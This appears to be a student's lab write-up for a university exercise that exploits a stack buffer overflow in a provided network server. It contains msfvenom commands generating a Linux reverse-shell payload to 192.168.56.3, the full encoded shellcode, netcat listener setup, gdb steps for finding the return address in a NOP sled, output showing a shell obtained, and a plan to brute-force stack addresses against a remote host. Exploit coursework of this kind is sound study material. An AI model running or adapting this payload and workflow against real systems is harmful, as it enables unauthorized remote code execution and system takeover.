

Remote Exploit

0x00 Payload creation

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.3 LPORT=4444 AppendExit=true -e x86/alpha_mixed -f py
```

or

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.3 LPORT=4444 AppendExit=true -e x86/alpha_upper -f py
```

```
(root@kali)~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.3 LPORT=9886 AppendExit=true -e x86/alpha_upper -f py
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_upper
x86/alpha_upper succeeded with size 218 (iteration=0)
x86/alpha_upper chosen with final size 218
Payload size: 218 bytes
Final size of py file: 1070 bytes
buf = b""
buf += b"\x89\xe7\xda\xd8\xd9\x77\xf4\x5a\x4a\x4a\x4a\x4a"
buf += b"\x43\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30"
buf += b"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30"
buf += b"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
buf += b"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a"
buf += b"\x49\x46\x51\x39\x4b\x4c\x37\x5a\x43\x56\x33\x51\x53"
buf += b"\x51\x43\x53\x5a\x44\x42\x4b\x39\x4b\x51\x38\x30\x52"
buf += b"\x46\x38\x4d\x4b\x30\x4c\x53\x56\x39\x4e\x50\x47\x4f"
buf += b"\x38\x4d\x4b\x30\x47\x39\x52\x59\x4a\x59\x43\x58\x39"
buf += b"\x50\x49\x38\x50\x38\x53\x33\x35\x38\x44\x42\x35\x50"
buf += b"\x56\x46\x4d\x4e\x4d\x59\x4b\x51\x38\x30\x45\x36\x36"
buf += b"\x30\x36\x31\x31\x43\x58\x33\x35\x53\x4c\x49\x4b\x51"
buf += b"\x58\x4d\x4d\x50\x46\x32\x45\x38\x32\x4e\x36\x4f\x32"
buf += b"\x53\x32\x48\x42\x48\x56\x4f\x36\x4f\x33\x52\x53\x59"
buf += b"\x4c\x49\x4a\x43\x36\x32\x46\x33\x4c\x49\x4b\x51\x4e"
buf += b"\x50\x54\x4b\x48\x4d\x4d\x50\x36\x51\x49\x4b\x42\x4a"
buf += b"\x43\x31\x46\x38\x48\x4d\x4d\x50\x41\x41"
```

Note the Payload size.

0x01 Test the Exploit Locally

To exploit it remotely, we must first run the exploit locally and make sure it is successful.

Make the server single threaded by removing the fork and else part.

1. Start listener using `nc -nvlp 4444`
2. Then test the server using Following commands using `gdb`:
`gdb server`
`run 4780 ---` (the given buffer is 512, and fill up at 521 and then starts the ret address)
(we can see the return address here, once we control the eip we can change this to our desired address i.e., any address in the NOP) we can check the address space by `x/100x $esp-200(or 400)`
3. Send exploit using `./exploit | telnet localhost 4780`

You will get a shell in the listener stating that the buffer overflow is successful.

```
File Actions Edit View Help
root@kali: ~
husky021@bandit:~$ nano exploit
husky021@bandit:~$ ./exploit | telnet 127.0.0.1 4780
Trying 127.0.0.1 ...
Connected to 127.0.0.1.
Escape character is '^'.
Connection closed by foreign host.
husky021@bandit:~$ nano exploit
husky021@bandit:~$ ./exploit | telnet 127.0.0.1 4780
Trying 127.0.0.1 ...
Connected to 127.0.0.1.
Escape character is '^'.
Connection closed by foreign host.
husky021@bandit:~$ nano exploit
husky021@bandit:~$ ./exploit | telnet 127.0.0.1 4780
Trying 127.0.0.1 ...
Connected to 127.0.0.1.
Escape character is '^'.
Connection closed by foreign host.
husky021@bandit:~$

listening on [any] 4444 ...
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.3] 52838
ls
cat
cat.c
challenge1.txt
challenge2.txt
challenge3.txt
challenge4.txt
challenge5.txt
expl
explo
exploit
exploit
less
mail
project_proposal.pdf
server
server.c
solution.txt
pad
/home/uebung021/uebung021/

0xffffdbd8: 0xf7fc5000 0x00000001 0x313230ff 0x00000000
0xffffdbf8: 0xa4ba0002 0x0100007f 0x00000000 0x00000000
0xffffdbf8: 0x00001785 0x00000015 0x00000001 0x56559008
0xffffdc08: 0x00000004 0x000012ac 0x00000002 0xffffdc4d
0xffffdc18: 0xffffdc00 0xffffdc40 0x00000000 0x00000002
0xffffdc28: 0x00000000 0xf7e29286 0x00000002 0xf7fc5000
0xffffdc38: 0x00000000 0xf7e29286 0x00000002 0xffffdc4d
0xffffdc48: 0xffffdc00 0x00000000 0x00000000 0x00000000
0xffffdc58: 0xf7fc5000 0xf7ffdc0c 0xf7ffdc00 0x00000000
0xffffdc68: 0x00000002 0xf7fc5000 0x00000000 0x7ec1ee40
0xffffdc78: 0x445de250 0x00000000 0x00000000 0x00000000
(gdb) x/100x $esp-400
0xffffda30: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffda40: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffda50: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffda60: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffda70: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffda80: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffda90: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdaa0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdab0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdac0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdad0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdae0: 0x90909090 0x90909090 0xc8d9e789 0x58f477d9
0xffffdaf0: 0x49495950 0x49494949 0x49494949 0x43434343
0xffffdb00: 0x51374343 0x5841685a 0x30413050 0x41416b61
0xffffdb10: 0x42413251 0x30424232 0x42414242 0x41385058
0xffffdb20: 0x494a7542 0x4b495156 0x437a7738 0x53515330
0xffffdb30: 0x7a517342 0x794f5275 0x504e6178 0x6d4e4652
0xffffdb40: 0x336a304b 0x706c6953 0x4d786f35 0x6932504d
0xffffdb50: 0x79385952 0x50596650 0x48773869 0x68303333
0xffffdb60: 0x50756266 0x6c435134 0x6168496c 0x4632506e
0xffffdb70: 0x51707062 0x434f7342 0x794f7367 0x4d786168
0xffffdb80: 0x4231304b 0x4e523855 0x33646f54 0x48625853
0xffffdb90: 0x4f364f56 0x79714242 0x6338494c 0x63536263
0xffffdba0: 0x6148396b 0x6b363038 0x706f6d7a 0x4b495136
0xffffdbb0: 0x31736a30 0x4d586873 0x4141706f 0x44443421
(gdb) run 4780
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Working program: /home/uebung021/uebung021/server 4780
Worked ... EUID is 6021 EUID is 6021
process 13783 is executing new program: /bin/dash
```

0x02 Send the Exploit to Remote Server

Next, we need to send this payload to the remote server. BUT we cannot see the messages from the remote server, and we do not know the return address to jump to our shell code ... This is because the addresses change from computer to computer. Hence, we need to write a script to enumerate all memory addresses. On the localhost the memory address is between 0xffff0000 to 0xffffffff.

We first need to check this script locally – change back to multithread by adding fork

For this, we need to write a script using sockets.

First run server - ./server <port>

Then run the listener – nc -nvlp <listener port supplied during msfvenom>

Then run our exploit program - ./rexploit

Its successful if we get a shell in the listener

After, we can successfully exploit locally, we proceed to exploit it remotely. For remote, the address is not found in ffff0000 to ffffffff. So, enumeration is run from ff000000 to ffffffff. Sleep(0.1) is added as a precautionary measure. Our exploit is successful when we manage to get a shell in the listener.